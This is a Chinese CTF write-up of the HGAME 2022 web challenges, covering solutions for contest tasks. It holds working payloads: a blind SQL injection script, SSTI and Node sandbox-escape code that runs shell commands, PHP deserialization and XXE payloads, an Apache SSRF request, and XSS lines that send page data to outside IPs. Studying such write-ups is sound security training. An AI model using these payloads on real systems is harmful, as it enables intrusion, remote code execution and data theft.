HGAME 2022 WEB

前言

web篇

Tetris plus


直接搜索alert

Fujiwara Tofu Shop

添加一些头部信息,X-Real-IP: 127.0.0.1

蛛蛛…嘿嘿♥我的蛛蛛

import requests
from lxml import etree

url = 'https://hgame-spider.vidar.club/be26bf4bdf'
r = requests.get(url).text
htmltxt = etree.HTML(r)
key = htmltxt.xpath("//a/@href")
Key = ''.join(key)

for i in range(110):
    print(url+Key)
    r = requests.get(url+Key).text
    htmltxt = etree.HTML(r)
    key = htmltxt.xpath("//a/@href")
    Key = ''.join(key)
    if 'game' in r:
        print("success!"+r)
        break

第100个包,头部信息

easy_auth

jwt没密钥直接换0

webpack-engine

Webpack打包网站,细心点搜一下源码


Flag: hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}

一本单词书

username=adm1n&password=1080a 弱比较绕过登录


save.php可以操作session文件


get.php可以反序列化


由于数据处理时为 json_decode 所以 键值对的键可控,注入session文件,反序列化读取文件
Payload

{
	"y0ng|O:4:\"Evil\":2:{s:4:\"file\";s:5:\"/flag\";s:4:\"flag\";N;}":1
}

访问get.php触发反序列化


Flag:hgame{Uns@f3_D3seR1@liz4t1On!Is~h0rr1b1e-!n_PhP}

Apache!


附件 Default.conf 发现 flag路径


搜索相关cve,2021 年 Apache 的 mod_proxy 模块报了个 SSRF 漏洞(CVE-2021-40438),Apache httpd Server CVE-2021-40438 漏洞分析, 用来ssrf探测内网,这题设置了 /proxy的代理服务

Payload

GET /proxy?unix:A*6409|http://127.0.0.1:60010/flag HTTP/1.1
Host: 127.0.0.1:8787
User-Agent: curl/7.64.1
Accept: */*


Flag:hgame{COng@tul4ti0n~u_r3prOduced_CVE-2021-40438}

Pokemon

error.php二分法盲注,过滤 =like绕过

import requests

url = "http://121.43.141.153:60056/error.php?code="

result = ""
i = 0

while (True):
    i = i + 1
    head = 32
    tail = 127

    while (head < tail):
        mid = (head + tail) >> 1

        #payload = "if(ascii(substr(database(),%d,1))>%d,404,403)" % (i , mid)
        payload = "if(ascii(substr((selselectect/*/**/*/flag/*/**/*/frfromom/*/**/*/fllllllllaaaaaag),%d,1))>%d,404,403)" % (i, mid)
        #payload = "if(ascii(substr((selselectect/*/**/*/group_concat(column_name)frfromom(infoorrmation_schema.columns)whwhereere(table_name/*/**/*/like/*/**/*/'fllllllllaaaaaag')),%d,1))>%d,404,403)" % (i, mid)

        r = requests.get(url + payload)
        #r.encoding = "utf-8"
        # print(url+payload)
        if "404" in r.text:
            head = mid + 1
        else:
            # print(r.text)
            tail = mid

    last = result

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

Flag:hgame{C0n9r@tul4tiOn#Y0u$4r3_sq1_M4ST3R^}

At0m的留言板

  • xss

给了一个html模板,发现flag在 <head> 标签中被定义


题目环境是在微信平台,发送paylaod会返回代码执行的截图,禁用了一些常见xss,本来思路是让flag回显到平台,然后得到截图就行了,但是可能是截图太快,或者其他原因,不回显,所以只能外带数据


以下是部分测试payload


</span><img src=”111” onerror=alert(1)><span>

</span><a onload="document.location='http\://150.158.181.145:8000/?'+flag;">xss link\</a><span>


<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAIAAAD8GO2jAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAYElEQVRIiWNcPD89JF9HRVRbMF0oJF9QT1NUWzFdKTs/PliAgYHBc143k/yPi9t+X9N9qif38ePJv1/vBnyyMDBj2bln/dk9G84yjIJRMApGwSgYBaNgFIyCUTAKhg0AAIGyGwIHeA0MAAAAAElFTkSuQmCC" onload="window.open('http\://150.158.181.145:8000/?'+flag);" width="336" height="36">

 
<span id="msg"><video src="111" onerror="document.getElementById('msg').innerHTML=flag;"></span>


<span id="msg"><audio controls onloadeddate="document.getElementById('msg').innerHTML=flag;"><source src=https://www.w3school.com.cn/i/horse.mp3 type="audio/mpeg"></audio></span>


<span id="msg"><audio controls oncanplay="document.getElementById('msg').innerHTML=flag;"><source src="https://www.w3school.com.cn/i/horse.mp3" type="audio/mpeg"></audio></span>


<img src=x onerror=document.body.appendChild(document.createElement('script')).src='http://1.116.110.61:8000/1.js'><audio controls oncanplay="haiCoder()"><source src="https://www.w3school.com.cn/i/horse.mp3" type="audio/mpeg"></audio>

然后就是 利用img的src获取script中的数据然后外带数据

payload

<img src=x onerror="window.open('http://1.116.110.61/'+document.getElementsByTagName('head')[0].getElementsByTagName('script')[0].text)" width="336" height="36">
或者
<img src=x onerror=document.body.appendChild(document.createElement('script')).src='http://1.116.110.61/'+document.getElementsByTagName('head')[0].getElementsByTagName('script')[0].text>

Flag:hgame{Xs5_1s_so_int3Restin9!Var_is_0uT_of_d4te}

wp解法:

本题设计的思路是 获取到全局的变量名,然后找到 flag 的变量名再拿到 flag。

这也是模板html的提示点:为什么同样是两个变量,第一个使用 let,而第二个使用 var 呢?因为 使用 var 可
以利用 Object.keys(window) 拿到全局变量 flag 的变量名
,而使用let的话无法获取。

<img src=1 onerror="document.getElementsByClassName('content')[0].innerText=Object.keys(window)">


再用

<img src=1 onerror="document.getElementsByClassName('content')[0].innerText =F149_is_Here">

总结:
由于我对于html返回对象那里基础薄弱,所以在找html中的script标签时费了很大力气然后就是在控制台进行测试


慢慢的找出对应的节点,获取文本
知识点:

  1. var elements = document.getElementsByTagName(name); 返回集合
  2. getElementsByTagName('script') 在寻找标签为script的节点

相关文章

XSS过滤绕过总结 - 随风kali - 博客园 (cnblogs.com)

XSS漏洞之加载远程js文件

XSS漏洞之加载远程js文件

document对象

HTMLElement

工作中梳理XSS Bypass WAF相关Payload - Fly 我是小灰灰 (yaofeifly.github.io)

xss绕waf几种姿势剖析 (qq.com)

Bypass XSS SQL Payload大全 (qq.com)

Vidar shop demo

注册用户然后发现账户有9999元,商店里面flag需要1w


应该就是逻辑漏洞或者竞争,点击flag商品和其他一个商品进行下单,先把40的支付一下


发现点击删除按钮后会取消订单,退还钱,抓包看看


发现当点击删除时,发起一个对应ID的包,将id改为flag对应id 2637放包发现退还了1w,再次购买flag,成功


Flag:hgame{8f8ddb3537b037a296a85e920d54f650b4a6cc73b015ac0bdb91a579a193aa71}

SecurityCenter

  • Twig SSTI

发现泄露 /vendor/composer/installed.json,使用了twig的框架,发现一个疑似ssrf地方

经过测试存在SSTI

TWIG 全版本通用 SSTI payloads

Payload:

{{["id",%200]|sort("system")|join(",")}}

{{[%22base64+/f*%22,%200]|sort(%22system%22)|join(%22,%22)}}

FLAG: hgame{!Tw19-S5t11s^s00O0O_inter3st1n5~!}

LoginMe


Sqlmap直接跑出来了。。。

python3 sqlmap.py -r c:\Users\cys\Desktop\sql.txt --batch --random-agent -T uuussseeerrrsss -C password --dump –flush

登录得flag

FLAG: hgame{d0490213241f3f29f172c475e1641a7d37bf2b8208616c4d4489aa58a1ebaeb4}

Markdown Online

学习到了markdown xss nodejs vm逃逸 过滤

先看导入了什么,markdown-itzombie


Zombie存在一个沙箱逃逸的rce漏洞,找到了出题人之前写过的一篇文章,与祥云杯的 cralwer_z 类似

Nodejs Zoombie Package RCE 分析

看一下登录控制器,密码转换为大写后要与54g相等,这是不可能的


登录处只要让 toUpperCase 抛出异常就可以登陆成功,让password为数组即可使其长度为16绕过

{"username":"admin","password":["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"]}


接着审计提交的控制器


先将传入的代码进行md渲染编程html,接着利用Browser中的load进行操作


load又调用了this.tabs.open({ html: html }) 其实这里的 open 就是漏洞的入口


剩下分析移步Nodejs Zoombie Package RCE 分析

祥云杯是通过visit为入口,这道题是以load为入口,那整体就是,将传入的代码在提交之后渲染为html,然后放入沙箱中运行,让其逃逸即可,这里还需要markdown的语法

发现在 vm 模块运行js代码,代码运行的上下文是 window对象


但是这里存在一个waf

function waf(code) {
    const blacklist = /__proto__|prototype|\+|atlert|confirm|escape|parseInt|parseFloat|prompt|isNaN|new|this|process|constructor|atob|btoa|apk/i
    if (code.match(blacklist)) {
        return "# Hacker!"
    } else {
        return code
    }
}

过滤了关键词,给出两种 绕过,当我想要以相同方式 绕过this时,发现对于this不适用,然后找到了这篇文章

nodejs沙箱与黑魔法 - 先知社区 (aliyun.com)

尝试调用 window 的方法 然后调用 constructor 向上 返回的一个 Function constructor 然后 利用Function对象构造一个函数并执行

Payload:

<script>
var a='const';var b='ructor';var c=[a,b].join('');
var d='return p';var e='rocess';var f=[d,e].join('');
var h='child_p';var i=[h,e].join('');
var j='th';var k='is';var l=[j,k].join('');
x= clearImmediate [c][c][c][c](f)();y=x.mainModule.require(i);z=y.execSync('whoami').toString();document.write(z);
</script>

或者

<script>
var h='child_p';var e='rocess';var i=[h,e].join('');
x=clearImmediate[`${`${`constructo`}r`}`][`${`${`constructo`}r`}`][`${`${`constructo`}r`}`]([`${`${`return proces`}s`}`])();y=x.mainModule.require(i);z=y.execSync('cat /flag').toString();document.write(z);
</script>

Flag:hgame{3nj0y*Th3/pR0tOtype/pOllut10n!1n_j@v4scr1pt}

后续测试,构造一个constructor即可,成功的window方法:

btoa、cancelAnimationFrame、captureEvents、clearImmediate,print等等可以自行寻找

window方法:clearImmediate()_w3cschool

相关文章:
Markdown xss payload
Markdown-XSS-Payloads.txt

nodejs 沙盒逃逸
Node.js沙盒逃逸分析
nodejs-vm沙箱逃逸
NodeJs 沙盒逃逸分析及原型链的简单学习

nodejs编码:
Nodejs的一些技巧
nodejs代码执行绕过的一些技巧汇总

vm2逃逸payload项目
https://github.com/patriksimek/vm2

Comment

  • xxe


libxml_disable_entity_loader(false); 允许外部实体,waf了一些关键字

返回flag的逻辑就是sender需要为admin,但是post数据包里不能有admin关键字


本想在content通过一百万个字符绕过preg_match,然后发现题目环境不可以,那就进行外部实体拼接绕过
payload

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe "ad" >
<!ENTITY xxe2 "min" >]>
<comment><sender>&xxe;&xxe2;</sender><content>123</content></comment>

Flag:hgame{Pr3ud0~prOtQc4l*m33ts_Xx3-!nj3cti0n~!}

FileSystem

  • go安全

两个文件

Main.go

package main

import (
	"log"
	"net/http"
)

func fileHandler(w http.ResponseWriter, r *http.Request) {
	http.FileServer(http.Dir("./")).ServeHTTP(w, r)
}

func main() {
	http.HandleFunc("/", fileHandler)
	http.HandleFunc("/there_may_be_a_flag", func(w http.ResponseWriter, r *http.Request) {
		w.Write([]byte(`No! You can't see the flag!`))
	})
	log.Fatal(http.ListenAndServe(":8889", nil))
}

there_may_be_a_flag 就是flag的地方,加上了web服务的flag路由,从而使得我们没法通过直接访问/flag来获取文件。而是得到/flag路由的回显。也就是 No! You can’t see the flag!

审计完再结合题目觉得应该是 http.FileServer(http.Dir("./")).ServeHTTP(w, r),出了问题,应该是存在漏洞导致可以跨目录读取到flag,搜索了一下,找到了go的一些安全问题

golang的一些安全问题

随后发现了漏洞的出处 justCTF [*] 2020:Go-fs,出题人在github提交了issue,https://github.com/golang/go/issues/40940

在ctf中还出现了非预期解法,利用一下非预期来解一下题目

payload

curl -X CONNECT --path-as-is http://3445d0f8a3.filesystem.hgame.homeboyc.cn/123/../there_may_be_a_flag


非预期的原理:
如果是 CONNECT 方式请求,就 不会处理url中的特殊字符,导致直接读取flag.其他的请求方法都会在cleanPath中被处理url,golang1.16似乎已经处理了。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值